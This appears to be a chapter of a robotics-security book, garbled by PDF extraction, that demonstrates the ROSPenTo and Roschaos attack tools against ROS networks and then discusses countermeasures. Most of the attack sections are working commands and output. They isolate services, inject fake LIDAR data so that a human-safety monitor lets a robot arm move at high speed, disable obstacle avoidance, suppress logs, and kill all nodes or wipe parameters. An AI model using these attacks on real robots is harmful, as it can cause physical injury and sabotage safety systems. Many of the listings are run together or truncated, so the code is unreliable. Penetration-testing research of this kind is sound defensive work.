<?xml version=’ ’1.0 ’ ’?><methodCall><methodName>getName</methodName><params><param><value>/master</value>

</param></params>

</methodCall>

Listing 1.5 XML content of a publisherUpdate call

If the node was implemented in C++, then it doesn’t provide a XML-RPC methodwith this name and the call fails with an exception. Otherwise the node returns atriple with status code, empty status message and node name. With this information,we then can distinguish between Python and C++ nodes.

Knowing which language was used to write a node allows for the exploitation ofspecific vulnerabilities.

First, we start a talker node of the roscpp_tutorial package

$ rosrun roscpp_tutorial talker

and a listener node of the rospy_tutorial package.

$ rosrun rospy_tutorial listener

Next we analyze the ROS network with ROSPenTp.As we can see in the network structure there are three active ROS nodes.

[email protected]


1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.1: /listener_14567_1530173733892 (XmlRpcUri:

→ http ://127.0.0.1:37908/)


→ ://127.0.0.1:35249/)


→ ://127.0.0.1:41029/)

Listing 1.6 Output of network analysis (node part)

Now we will use ROSPenTo to print the node types of the nodes running in thesystem:

>> 5

1 Please enter number of analysed system:

>> 0

1 Node 0.0: C++2 Node 0.1: Python3 Node 0.2: C++

4.1.7 Isolating a Service

In our next example, we will use ROSPenTo to isolate a service from the targetsystem and register it to our attacking system, in order to exclusively call the serviceon our own. Again, we start two ROS master processes just as in the example onbridging two networks above.

Then we run a service server for the add_two_ints service of the roscpp_tutorialspackage in the target system.

$ export ROS_MASTER_URI=http ://127.0.0.1:11311$ rosrun roscpp_tutorials add_two_ints_server

Now we run ROSPenTo to analyse the two systems. The output of our targetsystem shows a node/add_two_ints_server and a service /add_two_ints.

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.0: /add_two_ints_server (XmlRpcUri: http

→ ://127.0.0.1:41144/)


→ ://127.0.0.1:35249/)

5 Node 0.1: /rqt_gui_py_node_16990 (XmlRpcUri:

→ http ://127.0.0.1:35176/)

6 Services:

7 Service 0.2: /add_two_ints

8 Service 0.0: /add_two_ints_server /get_loggers

[email protected]


9 Service 0.1: /add_two_ints_server /

→ set_logger_level



12 Service 0.3: /rqt_gui_py_node_16990/get_loggers

13 Service 0.4: /rqt_gui_py_node_16990/


Listing 1.7 System analysis of target system (nodes and services)

For the attacking system, we get the following output.

1 System 1: http ://127.0.0.1:11312/2 Nodes:3 Node 1.0: /rosout (XmlRpcUri: http

→ ://127.0.0.1:45506/)4 Services:5 Service 1.1: /rosout/get_loggers6 Service 1.0: /rosout/set_logger_level

Listing 1.8 System analysis of attacking system (nodes and services)

To test the service in system 0, we run a service call from the command line

$ export ROS_MASTER_URI=http ://127.0.0.1:11311$ rosservice call /add_two_ints 3 5sum: 8

Now we use ROSPenTo to run the service isolation attack on /add_two_ints.

>> 14

1 Which service do you want to isolate?2 Please enter number of service (e.g.: 0.0):

>> 0.2

1 Optional: Register service to other system

2 Type Ctrl+c to skip this option , type in system number

→ otherwise


>> 1

Now, let’s try to call the service in system 0 again.

$ export ROS_MASTER_URI=http ://127.0.0.1:11311$ rosservice call /add_two_ints 3 5ERROR: Service [/ add_two_ints] is not available.

As we can see, the service is not available in the target system anymore. However,if we call the service in our attacking system we get the expected result.

$ export ROS_MASTER_URI=http ://127.0.0.1:11312$ rosservice call /add_two_ints 3 5sum: 8

[email protected]


The node providing the service is still part of the target network, which meansthat it is still shown in the rqt graph after the attack.

Note, that in contrast to the rqt graph, the response on a getSystemState call to theROS master in the target system changes, as we can analyse it with ROSPenTo.

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.0: /add_two_ints_server (XmlRpcUri: http

→ ://127.0.0.1:41144/)


→ ://127.0.0.1:35249/)

5 Node 0.1: /rqt_gui_py_node_16990 (XmlRpcUri:

→ http ://127.0.0.1:35176/)

6 Services:

7 Service 0.0: /add_two_ints_server /get_loggers

8 Service 0.1: /add_two_ints_server /




11 Service 0.2: /rqt_gui_py_node_16990/get_loggers

12 Service 0.3: /rqt_gui_py_node_16990/


4.1.8 Sending Malicious Parameter Updates

Now we want to demonstrate how to run a malicious parameter attack withROSPenTo. After starting a master, we run a publisher node, which is subscrib-ing to a string parameter from the parameter server, in order to publish it on the ROSnetwork. Before we can start the node, we set the parameter on the parameter servervia the command line.

$ rosparam set awesome_parameter "awesome"

Then we start the publisher, which then publishes the value of our parameter

$ rosrun arbitrary_package awesome_publisher[ INFO] [1530196484.388349773]: awesome

Now, we analyse the ROS network and get the following output for nodes andparameters

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.0: /awesome_publisher (XmlRpcUri: http

→ ://127.0.0.1:38253/)


→ ://127.0.0.1:35249/)

5 Parameters:

6 Parameter 0.0:

7 Name: /roslaunch/uris/host_127_0_0_1__44124

8 Parameter 0.1:

[email protected]


9 Name: /rosdistro

10 Parameter 0.2:

11 Name: /awesome_parameter

12 Parameter 0.3:

13 Name: /rosversion

14 Parameter 0.4:

15 Name: /run_id

Next, we analyse types and values of the parameters

>> 10

1 Parameter values and types analyzed

2 Parameter 0.0:

3 Name: /roslaunch/uris/host_127_0_0_1__44124

4 Type: System.String

5 Value: http ://127.0.0.1:44124/

6 Parameter 0.1:

7 Name: /rosdistro


9 Value: kinetic

10 Parameter 0.2:

11 Name: /awesome_parameter


13 Value: awesome

14 Parameter 0.3:

15 Name: /rosversion


17 Value: 1.12.12

18 Parameter 0.4:

19 Name: /run_id


21 Value: 67f30c4c -7aab -11e8 -ae76 -c47d461e4b7c

To get full control over the cached parameter value stored on the awesome_

publisher node, we unsubscribe the node from parameter updates.

>> 15

1 Please enter number of node (e.g.: 0.0):

>> 0.0

1 Please enter number of parameter (e.g.: 0.0):

>> 0.2

1 Node 0.0 successfully unsubscribed from Parameter 0.2

Finally, we send our own parameter update to the node

>> 16

1 Please enter number of node (e.g.: 0.0):

[email protected]


>> 0.0

1 Please enter number of parameter (e.g.: 0.0):

>> 0.2

1 Please enter value for paramUpdate

>> even more awesome

1 Parameter update for Parameter 0.2 at Node 0.0 sent

Now we can see, that the output of our publisher changed

[ INFO] [1530196484.388349773]: even more awesome

On the other hand, if we call rosparam get via the command line or analyse thesystem again with our tool, we recognize that the value of the parameter stored onthe parameter server is still awesome.

$ rosparam get awesome_parameterawesome

4.2 Performing a Real Attack

Now that we have mastered the basics of using ROSPenTo for analyzing and manip-ulating the communications within a ROS application network, let’s see how this canbe used by a potential attacker in a real application.

4.2.1 Application Setup

The application, which we will penetrate, is used to provide safety to humans in thevicinity of a robot. A LIDAR laser-scanner is used to determine if a human is closeto a robot. If so, the speed of the robot is reduced or the robot is stopped to ensurethat no harmful forces are exerted in case the robot touches the human. Setups likethese can be found in many applications, very often used as proximity sensors formobile robots.

Our application setup consists of the following hardware elements and ROS nodes:

– An OMRON OS32c safety LIDAR with the associated ROS driver 11

– A ROS-operated robot arm (like a KUKA iiwa with the iiwa stack12 or a UniversalRobot with the UR modern driver,13 …)

– A safety_monitor ROS node

11http://wiki.ros.org/omron_os32c_driver.12https://github.com/IFL-CAMP/iiwa_stack.13https://github.com/ThomasTimm/ur_modern_driver.

[email protected]


First, let’s take a look at the safety_monitor node. It simply receives the laserrange data from the LIDAR and sets the speed accordingly. The following listingshows a simplified version. Note that we abstracted which robot you are using sinceit does not change the way we can attack this node afterwards.

1 import rospy2 from sensor_msgs.msg import LaserScan34 class SafetyMonitor:5 def __init__(self):6 rospy.init_node("safety_monitor")7 rospy.Subscriber("/scan", LaserScan , self.

→ handle_laser_reading)8 self.speed_value =0.059 rospy.spin()

101112 def handle_laser_reading(self , msg):13 speed_val = 0.5 # normal operating speed14 for r in msg.ranges:15 if r < 0.5:16 speed_val = 0.05 # set speed to 5%17 break

1819 if speed_val !=self.speed_value:20 self.speed_value=speed_val21 else:22 return

2324 # Now send the new speed to your robot2526 if _name_ == "_main_":27 safety_monitor_node=SafetyMonitor ()

Listing 1.9 Simplified Python implementation of the safety_monitor node

The corresponding RQT graph is shown in Fig. 8. The safety_monitor node (shownin red) uses the/scan topic from the OMRON laser scanner as input. This gives anarray of laser range values. As robot, in our case, we have used a KUKA iiwawith the iiwa_stack package. To change the movement speed, a service is consumedby the safety_monitor package and thus, the RQT graph does not show outgoingconnections from this node.

4.2.2 Application Analysis

Let’s first use ROSPenTo to analyze this application. The output of the system anal-ysis is shown below (in a simplified version reduced to the relevant information).Here, we can also see the service server, which we use to perform the speed change(/iiwa/configuration/pathParameters). Note, if you use another robot, this listing willchange appropriately.

[email protected]


Fig. 8 The RQT graph of our safety-application

1 System 0: http ://127.0.0.1:11311/

2 Nodes:

3 Node 0.5: /iiwa/iiwa_configuration (XmlRpcUri: http

→ ://127.0.0.1:49182/)

4 Node 0.3: /omron_os32c_node (XmlRpcUri: http

→ ://127.0.0.1:34393/)

5 Node 0.7: /safety_monitor (XmlRpcUri: http

→ ://127.0.0.1:38473/)

6 Topics:

7 Topic 0.22: /scan (Type: sensor_msgs/LaserScan)

8 Services:

9 Service 0.6: /iiwa/configuration/pathParameters

10 Service 0.4: /omron_os32c_node/get_loggers

11 Service 0.5: /omron_os32c_node/set_logger_level

12 Service 0.10: /safety_monitor/get_loggers

13 Service 0.9: /safety_monitor/set_logger_level

14 Communications:


16 Publishers:

17 Node 0.3: /omron_os32c_node (XmlRpcUri

→ : http ://127.0.0.1:34393/)

18 Topic 0.22: /scan (Type: sensor_msgs/LaserScan

→ )

19 Subscribers:

20 Node 0.7: /safety_monitor (XmlRpcUri:

→ http ://127.0.0.1:38473/)

Listing 1.10 Analysis of the ROS application (simplified)

Looking at the network analysis, the skilled ROSPenTo user already sees severalattack vectors. First, we can simply isolate a node, which is publishing relevant datai.e., either the LIDAR driver or the safety_monitor. This will result in no changes

[email protected]


to the currently set speed. Further, we can isolate the setPathParameter service toachieve the same result.

In order to provoke a speed change in our favor (either forcing the robot to stopas a kind of DoS attack, or to drive at high speeds) we can also inject false data usinga stealth publisher attack.

4.2.3 Isolating a Node

As a first, simple attack, we can isolate the safety_monitor component from theOmron node such that it does not receive any more data. We do this by usingROSPenTo to remove the Omron node as a publisher for the/scan topic.

>> 13


→ message?


>> 0.7


>> 0.22

1 Which publisher(s) do you want to remove?


>> 0.3

This will remove the Omron driver node from the list of publishers for thesafety_monitor node and thus, it will no longer receive LIDAR range data.

A cleverly written safety_monitor node however, should constantly check whenit received the last input and stop the robot if there is any irregularity in the frequency(just like a hold-to-run button).

4.2.4 Isolating a Service

By isolating the service which regulates the speed at the robot side, we perform aservice isolation attack in ROSPenTo. After this, the safety_monitor node will notbe able to reduce the speed in case a human is detected by the LIDAR.

>> 14

1 Which service do you want to isolate?2 Please enter number of service (e.g.: 0.0):

>> 0.6

[email protected]


1 Optional: Register service to other system

2 Type Ctrl+c to skip this option , type in system number

→ otherwise


>> Ctrl+c

And by this, the service is no longer registered and cannot be found in a servicelookup.

4.2.5 Injecting False Data

Finally, if we want to inject false data into the network in order to let the safety_monitor

think that no object is approaching, we exchange the Omron driver node with a nodethat we write ourselves.

As shown below, the fake node just publishes data with the maximum range. Thiscauses the safety_monitor to think that no obstactle is close to the robot, causing itto move at high speed.

1 _laserScanPublisher = _nodeHandle.advertise <

→ sensor_msgs ::LaserScan >( _topicName , 1000);

23 while(ros::ok())

4

5 sensor_msgs :: LaserScan msg;

6 msg.header.stamp = ros::Time::now();

7 msg.header.frame_id = "laser";

8 msg.angle_min = -2.29;

9 msg.angle_max = 2.29;

10 msg.angle_increment = 0.01;

11 msg.range_min = 0.002;

12 msg.range_max = 50;

1314 int numVal = (int)std::ceil((msg.angle_max -msg

→ .angle_min)/0.01);

15 for(int i=0;i<numVal;i++)

16

17 msg.ranges.push_back(msg.range_max);

18

1920 _laserScanPublisher.publish(msg);

Listing 1.11 The fake sensor data publisher in C++

In order to be stealthy (i.e., not visible in the ROS graph), we perform the sameprocedure as above by creating a separate ROS network for the attacker node andthen using ROSPenTo to reroute the traffic accordingly.

First, we start a second ROS core. Then we analyze both systems in ROSPenTo.Third, we send a publisher update to the safety_monitor containing the URI of ourattacker node. From thereon, the robot will run at increased speed.

[email protected]


5 Roschaos

This section introduces a different penetration testing tool designed for exploitingthe Master API. Where ROSPenTo is designed to make minimal use of the Master,covertly opting for the Slave API to perform targeted isolation attacks, Roschaosinstead seeks to exploit the centralized discovery and broader subsystem APIs atscale in less subtle but more disruptive manners.

As demonstrated with RosPenTo, numerous subtle and silent attacks may bemounted without necessarily divulging such activities to the ROS Master. However,more conspicuous attacks that exploit the Master directly, and so are far more blatantor detectable, may still remain compelling for adversaries and formidable threatsto ROS systems for at least two reasons. First, it is unlikely that most current ROSusers continuously monitor all Master event logs for suspicious activities duringruntime. Moreover, these logs hold little authenticity given there is no authenticationfor the Master API and identities can be falsified. Second, while such attacks maybe short lived due to their traceability, they can remain immediately and irreversiblycatastrophic for cyber physical systems.

5.1 Roschaos Basics

Roschaos14 provides a simple CLI bundled as a native ROS package and is writtento demonstrate how an unmodified ROS client library can be used for attacks. Firstwe review how basic ROS CLI tools like rostopic, rosnode can be used maliciously;a brief list of potentially malicious examples of native CLIs are exhibited here:

# Relay topic data without added custom code

$ rostopic echo /foo | rostopic pub /bar std_msgs/String

# Replay filtered data without post -processing bag files

$ rostopic echo --filter "m.data==’foo ’" /bar > spam.bagy

$ rostopic pub -f spam.bagy /spam std_msgs/String

# Terminate all ROS processes without needed POSIX privilege

$ rosnode kill --all

# Recursively wipe all key/values from parameter server

$ rosparam delete /

As shown above, it remains a trivial task to relay and replay topic traffic withoutnecessarily executing custom code, nor is remote shell access required to termi-nate node processes or delete global parameters. Roschaos extends these underlyinglibraries, e.g. rosgraph, to manipulate the topology and internal state of the compu-tational graph. Roschaos subcommands are divided into three main categories thatreflect the partitioning of the subsystem APIs.

14https://github.com/ruffsl/roschaos.

[email protected]


5.1.1 Master

This subcommand currently exposes the unregister interface for topics and services,as well entire sets either attributed to particular nodes. Regular expression may bepassed to each methods to filter which resource the unregistration should target.

The following command unregisters all topic publishers and subscribers of stan-dard message types under top level topic namespace/foo:

roschaos master unregister topic --topic_name ‘‘\/foo.*’’ --

→ topic_type ‘‘std_msgs \/.*’’ --subscribers --publishers

Services servers may similarly be unregistered by providing an expression forthe service namespace. The following command unregister all services that enabledynamically updating the logger level for all nodes:

roschaos master unregister service --service_name ‘‘.*\/

→ set_logger_level ’’

Finally, we can unregister entire nodes, filtering either by the nodes own names-pace, host machine address, or a combination of both. The first command unregistersintersection of nodes under a namespace containing the substring ‘movit’ or ‘openni’executing on the third cluster in the PR2 platform. The second command invokes theswift nuclear option to unregisters everyone from everything.

roschaos master unregister node --node_name ‘‘(.*moveit .*) |(.*

→ openni .*) ’’ --node_uri ‘‘pr2_pc3 ’’ roschaos master

→ unregister node --all

5.1.2 Slave

This subcommand currently exposes several interfaces of the Slave API for ascer-taining and controlling internal node state and life cycle. Again, regular expressionmay be passed to narrow the control of the scope of nodes to afflict.

For peculiar cases when the master URI for a participating node is unknown,or when multiple masters may coexist on the same machine, the following com-mand may be used to inquire into a remote node’s Slave API and update the local‘ROS_MASTER_URI’ environment variable accordingly:

roschaos slave backtrace master --uri http :// slave_uri_here

→ :1234

The logger level for each logger inside a node may be externally adjusted atruntime and determines the verbosity of logs events both written to log files on diskand published on the/rosout debug topic. The following command squelches themajority xmlrpc server events from movit related nodes being reported:

roschaos slave service logger --node_name ‘‘\/moveit.*’’ --

→ logger_name ‘‘ros\. xmlrpc.*’’ --logger_level ‘‘Fatal ’’

[email protected]


The following command provides much the same purpose as rosnode kill, butsimilar filtering functionality as with other subcommands in defined expression fornode and machine filtering:

roschaos slave shutdown node --node_name ‘‘.*safety.*’’ --

→ node_uri ‘ ‘ ’ ’127\.0\.0\..*

5.1.3 Param

This subcommand currently exposes server interfaces of the Parameter API, usingregular expressions to direct given requests. The following unsubscribes all nodesfrom receiving update events for any of the movebase footprint related parameters:

roschaos param server unsubscribe --node_name ‘‘.*’’ --node_uri

‘‘turtlebot \.local.*’’ --param_key ‘‘\/movebase.*’’footprint

5.2 Roschaos Examples

In this section we present a set of attack scenarios leveraging Roschaos and nativeROS CLIs to demonstrate the execution and effects of malicious actions againstsubsystem APIs. To provide a repeatable and reproducible ROS deployment scenario,we make use of the classic turtlebot simulation demos to serve as the targeted system.Begin by starting the following launch files to bootstrap the entire application setup:

# From separate terminals launch each turtlebot component

$ roslaunch turtlebot_gazebo turtlebot_world .launch

$ roslaunch turtlebot_gazebo amcl_demo.launch

$ roslaunch turtlebot_rviz_launchers view_navigation .launch

$ roslaunch turtlebot_teleop keyboard_teleop .launch

You should then observes a gazebo and an rviz windows with a turtlebot posedand localized within the simulated environment, with an additional shell terminalcapturing/forwarding keyboard teleop commands to the mobile robot when madein focus of the desktop window manager. Note that running teleop suppress goalnavigation.

5.2.1 Exploiting the CmdVelMux Nodelet

Many robot platforms may operating with coexisting controllers, and thus mustarbitrate access using some scheme of priority to avoid the ambiguity of multiplesimultaneous command signals being forwarded to hardware actuators. One suchpackage used by the community is the CmdVelMux Nodelet that can be configured

[email protected]


to relegate designated topics with associated priority levels through a simple chain ofsuppression hierarchy. In this case, teleop commands can be spoofed to indefinitelyhalt the movebase planner until it times out.

Using rviz’s navigate to point tool, click on somewhere on the map to initiate themovebase planner to navigate to a given goal. Then use rospub, execute the followingcommand and attempt to repeat the same goal navigation with rviz for another point.

# Repeatedly publish zero velocity command at 10 hz

$ rostopic pub /cmd_vel_mux/input/teleop geometry_msgs /Twist

→ -r 10 "linear:

x: 0.0

y: 0.0

z: 0.0

angular:

x: 0.0

y: 0.0

z: 0.0"

The CmdVelMux is also sometimes used as an safety override, where say a humanoperator may overtake control if necessary, thus the reason for the exhibited behaviorabove. However using roschaos, we can just as easily register teleop publishers totemporarily isolate the CmdVelMux until new publishers register on the network, oruntil the CmdVelMux nodelet itself is restarted by unregistering it as a subscriber.The both of which are achieved using the following command:

# Unregistered both topic publishers and subscribers

$ roschaos master unregister topic --topic_name "\/

→ cmd_vel_mux \/ input\/ teleop" --publishers --subscribers

By now, the keyboard teleop CLI should no longer function and itself indicate noissue, yet you will need to restart both nodes to rectify the absent registrations withthe master.

5.2.2 Exploiting Movebase

Many nodes expose internal parameters to be dynamically reconfigurable. Movebaseuses this extensively to allow user to tune navigation settings on the fly. However,malicious users can just as well use these interfaces to disable safety mechanics anddelay responsive measures.

The following set of commands disable the number of basic navigation layersused in planning around static and dynamic obstacles, thus rendering the platformvulnerable to collisions. The the same interface used to alter the parameters is alsoclosed afterwards to hamper repair. Lastly, any environmental fail-safes such asmonitoring sensors can also be removed from the graph.

[email protected]


# Disable movebase navigation layers

$ for i in global_costmap local_costmap; do for j in

→ inflation_layer obstacle_layer static_layer; do rosrun

→ dynamic_reconfigure dynparam set /move_base/$i/$j "

→ ’enabled ’:false"; done; done

# Cutoff dynamic reconfigure to prevent imadate re -enabling

$ roschaos master unregister topic --topic_name "\/ move_base

→ .* parameter_updates " --publishers --subscribers

# Cutoff bump and cliff sensors that do not require heartbeat

→ signals

$ roschaos master unregister topic --topic_name ".*( cliff|

→ bump).*" --publishers

It should now be possible to guide the robot into collisions directly by settinggoal point inside obstacles. Given collision detection is also composed, the robotshould now unhesitatingly push movable objects in the simulation, where recoverybump behaviors would have previously been invoked. Additionally, this can no longerbe reversed using tools such as rqt’s dynamic reconfigure plugin, as the publishedparameter updates no longer notify the necessary move_base node.

5.2.3 Exploiting Roslog

For most logging and monitoring purposes, roslog is used to record and disseminatelog events during runtime. This pertains to configuring the logging levels or verbosityof internal log handlers in each node process, writing the events to disk withinthe logfile directory, as well as aggregating them over unified topics for remotediagnostics. However, given the control of these reporting mechanisms are also madeavailable through the same unregulated APIs they monitor, they can just as well besubverted to redact and obscure suspicious activity in the graph.

If an attacker where to disrupt an environmental sensor, such as the laser scan-ner, consecutive nodes further down the data pipeline may inevitably remark uponabnormalities such as delayed sensor data or expired transformations. Such arethe errors and warnings AMCL will produce upon the abrupt termination of laser-scan_nodelet_manager, casing all further/scan topic data. The following commandsattempt to mitigate such reporting before evasive termination:

# Subdue self reporting to minimize event written to disk

$ roschaos slave service logger --node_name ".*[ amcl|

→ movebase|laserscan_nodelet_manager ].*" --logger_name

→ ".*" --logger_level "Fatal"

# Shut the door behind us to avoid changes

$ roschaos master unregister service --service_name ".*[ amcl

→ |movebase|laserscan_nodelet_manager ].*\/

→ set_logger_level"

# Optional , but alarm rasing

$ roschaos master unregister topic -topic_name "\/ rosout" --

→ publishers

# Lastly , terminate the scan publisher to crippel navigation

$ roschaos slave shutdown node --node_name "\/ laserscan .*âŁž

[email protected]


One could additionally unregister all rosout publishers, however the sudden dropin log traffic would be a clear tip off to issues abound. Additionally, being moreselective in the logger name expression used could help the change in traffic frombeing too conspicuous, yet this would require further in depth knowledge of the targetsystem and anticipated logging outcomes.

6 Conclusion

In this chapter, we have presented how ROS can be manipulated very easily overthe XML-RPC API. We have presented two tools, ROSPenTo and Roschaos, andshowed how they can be used to analyze and manipulate ROS applications.

We hope to have raised some awareness of how important security in ROS is andto have encouraged our readers to engage in penetration testing of their applications.

We close with two further notes on the practicability of the attacks shown hereand on possible countermeasures.

6.1 On the Practicability of Attacks on ROS

In this chapter, we have shown how ROS applications can be manipulated. Inten-tionally though, we have left some blanks. To inject data for example into the stealthpublisher attack, it is necessary to have the message definition before injecting data.In our example, we simply implemented an attacker node using the message def-inition of the original application. An attacker typically would not have access tothis kind of information when analyzing an unknown application. While there areways to reverse-engineer the message definition at run-time, we have refrained fromdescribing this here.

To run a malicious parameter attack on a ROS node an attacker needs to knowwhich parameters the node is subscribed to. In contrast to topic subscriptions, nei-ther the parameter API nor the slave API provide a XML-RPC method to requestinformation about the current parameter subscriptions. Additionally, unlike stated inthe API definitions, the response on a paramUpdate or a unsubscribeParamcan’t be used as well. This is caused by the implementation of the APIs, where thegenerated response stays the same independent of the method result. Further parame-ter subscriptions can’t be triggered remotely as well. Hence, the attacker either needsto know how the node is implemented or has to analyze the network traffic betweenthe targeted node and the parameter server to detect a subscribeParam call. Ifno such call occurs, the attacker can not run this kind of attack.

[email protected]


6.2 Countermeasures

Despite the flaws in the ROS API design that enable most of the attacks describedhere, there are ways to counter attacks.

First, the roswtf 15 tool is a useful helper. It performs a ROS graph analysis anddetects attack patterns of ROSPenTo (although it does not identify them as such). Ifa listener is isolated from its publishers, roswtf will print a message similar to

1 ERROR The following nodes should be connected but aren ’t:

2 * /talker_5031_1531308319488 ->/listener (/ chatter)

If we add a fake publisher, that is not known to the ROS master (i.e., runs inanother ROS network), roswtf will at least produce a warning:

1 WARNING The following nodes are unexpectedly connected:

2 * unknown (http ://127.0.0.1:37733/) ->/listener (/ chatter)

3 * unknown (http ://127.0.0.1:41333/) ->/listener (/ chatter)

Second, several approaches to increasing security in ROS have been proposed.Among those are SROS [21], application-layer approaches [6] as well as secureversions of the ROS core itself (such as http://secure-ros.csl.sri.com/ or [2]).

Third, ROS2,16 which has recently been released, is not susceptible to mostapproaches shown in this chapter. The underlying DDS communication technol-ogy [13] uses a different technique for discovery and works without a master (whichis one of the main attack points for ROSPenTo and Roschaos). In addition, it supportssecurity enhancements in the communication channels themselves [14]. Those secu-rity enhancements are made available to ROS2 via the SROS2 project.17 An initialperformance evaluation of security in ROS2 has been presented in [9].

Acknowledgements The work reported in this article has been supported by the Austrian Min-istry for Transport, Innovation and Technology (bmvit) within the project framework CollaborativeRobotics and by the programme “ICT of the Future”, managed by the Austrian Research PromotionAgency (FFG), under grant no. 861264.

References

1. Arkin, B., Stender, S., McGraw, G.: Software penetration testing. IEEE Secur. Priv. 3(1), 84–87(2005)

2. Breiling, B., Dieber, B., Schartner, P.: Secure communication for the robot operating system.In: Proceedings of the 11th IEEE International Systems Conference, pp. 360–365 (2017)

3. Cheminod, M., Durante, L., Valenzano, A.: Review of security issues in industrial networks.IEEE Trans. Ind. Inf. 9(1), 277–293 (2013)

4. DeMarinis, N., Tellex, S., Kemerlis, V., Konidaris, G., Fonseca, R.: Scanning the internet forROS: a view of security in robotics research. arXiv preprint arXiv:1808.03322 (2018)

15http://wiki.ros.org/roswtf.16http://www.ros2.org/.17https://github.com/ros2/sros2.

[email protected]


5. Dieber, B., Breiling, B., Taurer, S., Kacianka, S., Rass, S., Schartner, P.: Security for the robotoperating system. Rob. Auton. Syst. 98, 192–203 (2017)

6. Dieber, B., Kacianka, S., Rass, S., Schartner, P.: Application-level security for ROS-basedapplications. In: Proceedings of the 2016 IEEE/RSJ International Conference on IntelligentRobots and Systems (IROS 2016) (2016)

7. Fairley, P.: Cybersecurity at U.S. utilities due for an upgrade: tech to detect intrusions intoindustrial control systems will be mandatory [News]. IEEE Spectr. 53(5), 11–13 (2016)

8. Karnouskos, S.: Stuxnet worm impact on industrial cyber-physical system security. In: 37thAnnual Conference of the IEEE Industrial Electronics Society (IECON 2011), pp. 4490–4494(2011)

9. Kim, J., Smereka, J.M., Cheung, C., Nepal, S., Grobler, M.: Security and performance consid-erations in ROS 2: a balancing act. arXiv preprint arXiv:1809.09566v1 (2018)

10. McClean, J., Stull, C., Farrar, C., Mascareñas, D.: A preliminary cyber-physical security assess-ment of the robot operating system (ROS). In: Proceedings of SPIE, vol. 8741, pp. 874110–874118. https://doi.org/10.1117/12.2016189 (2013)

11. Miller, B., Rowe, D.: A survey of SCADA and critical infrastructure incidents. In: Proceedingsof the 1st Annual Conference on Research in Information Technology, RIIT ’12, pp. 51–56.ACM, New York, NY, USA. https://doi.org/10.1145/2380790.2380805 (2012)

12. Nelson, N.: The impact of dragonfly malware on industrial control systems. Tech. rep, SANSInstitute (2016)

13. OMG: Data Distribution Service (DDS), Version 1.4. https://www.omg.org/spec/DDS/1.4(2015)

14. OMG: Data Distribution Service (DDS) Security Specification, Version 1.1. https://www.omg.org/spec/DDS-SECURITY/1.1 (2018)

15. Portugal, D., Santos, M.A., Pereira, S., Couceiro, M.S.: On the security of robotic applicationsusing ROS. In: Artificial Intelligence Safety and Security, pp. 273–289. Chapman and Hall/CRC(2018)

16. Quigley, M., Conley, K., Gerkey, B., Faust, J., Foote, T., Leibs, J., Wheeler, R., Ng, A.Y.: ROS:an open-source robot operating system. In: ICRA Workshop on Open Source Software. vol. 3,p. 5. Kobe, Japan (2009)

17. Rodríguez-Lera, F.J., Matellán-Olivera, V., Balsa-Comerón, J., Guerrero-Higueras, M.,Fernández-Llamas, C.: Message encryption in robot operating system: collateral effects ofhardening mobile robots. Frontiers in ICT 5, 2 (2018). https://doi.org/10.3389/fict.2018.00002

18. Vilches, V.M., Gil-Uriarte, E., Ugarte, I.Z., Mendia, G.O., Pisón, R.I., Kirschgens, L.A., Calvo,A.B., Cordero, A.H., Apa, L., Cerrudo, C.: Towards an open standard for assessing the severityof robot security vulnerabilities, the robot vulnerability scoring system (RVSS). arXiv preprintarXiv:1807.10357 (2018)

19. Vilches, V.M., Kirschgens, L.A., Calvo, A.B., Cordero, A.H., Pisón, R.I., Vilches, D.M., Rosas,A.M., Mendia, G.O., Juan, L.U.S., Ugarte, I.Z., et al.: Introducing the robot security framework(RSF), a standardized methodology to perform security assessments in robotics. arXiv preprintarXiv:1806.04042 (2018)

20. White, R., Caiazza, G., Christensen, H., Cortesi, A.: SROS1: Using and Developing SecureROS1 Systems, pp. 373–405. Springer International Publishing, Cham. https://doi.org/10.1007/978-3-319-91590-6_11 (2019)

21. White, R., Christensen, H., Quigley, M.: SROS: Securing ROS over the wire, in the graph, andthrough the kernel. In: Proceedings of the IEEE-RAS International Conference on HumanoidRobots (HUMANOIDS) (2016)

[email protected]


Bernhard Dieber is the head of the Robotic Systems researchgroup at the Institute for Robotics and Mechatronics of JOAN-NEUM RESEARCH. He received his master’s degree in appliedcomputer science and Ph.D. in information technology fromthe Alpen-Adria Universität Klagenfurt. His research interestsinclude robotics software, security and dependability of roboticsystems, visual sensor networks and middleware.

Ruffin White is a Ph.D. student in the Contextual RoboticsInstitute at University of California San Diego, under the direc-tion of Dr. Henrik Christensen. Having earned his Masters ofComputer Science at the Institute for Robotics & IntelligentMachines, Georgia Institute of Technology, he remains an activecontributor to ROS and a collaborator with the Open SourceRobotics Foundation. His research interests include mobilerobotics, with an focus on secure sub-systems design, as wellas advancing repeatable and reproducible research in the fieldof robotics by improving development tools and standards forrobotic software.

Sebastian Taurer is a Junior Researcher at the Robotic Sys-tems group at the Institute of Robotics and Mechatronics atJOANNEUM RESEARCH. Currently he is finishing his mas-ter’s degree in applied informatics at the Alpen-Adria Univer-sität Klagenfurt under the supervision of Professor Peter Schart-ner. His research interests include penetration testing of roboticsecurity, security architectures and ROS security.

[email protected]


Benjamin Breiling is a Junior Researcher at the Robotic Sys-tems group at the Institute of Robotics and Mechatronics atJOANNEUM RESEARCH. He received his master’s degreefrom Alpen-Adria Universität Klagenfurt. His research interestsinclude security architectures, robotic security and security ofmiddleware systems.

Gianluca Caiazza is a Ph.D. student in the Advances inAutonomous, Distributed and Pervasive systems (ACADIA) insecurity studies at Ca’ Foscari University under the supervisionof Professor Agostino Cortesi. His research interests includelogical analysis of APIs, analysis of complex systems andreverse engineering, always along the line of cybersecurity. Heis also passionate about connected and smart devices/infrastruc-ture, specifically within the Consumer and Industrial IoT field.

Dr. Henrik I. Christensen is a Professor of Computer Sci-ence at the Department of Computer Science and EngineeringUniversity of California San Diego. He is also Director of theInstitute for Contextual Robotics. Prior to his coming to the Uni-versity of California San Diego he was the founding directorof the Institute for Robotics and Intelligent machines (IRIM) atGeorgia Institute of Technology (2006–2016). Dr. Christensendoes research on systems integration, human-robot interaction,mapping and robot vision. He has published more than 300 con-tributions across AI, robotics and vision. His research has astrong emphasis on “real problems with real solutions.” A prob-lem needs a theoretical model, implementation, evaluation, andtranslation to the real world.

[email protected]


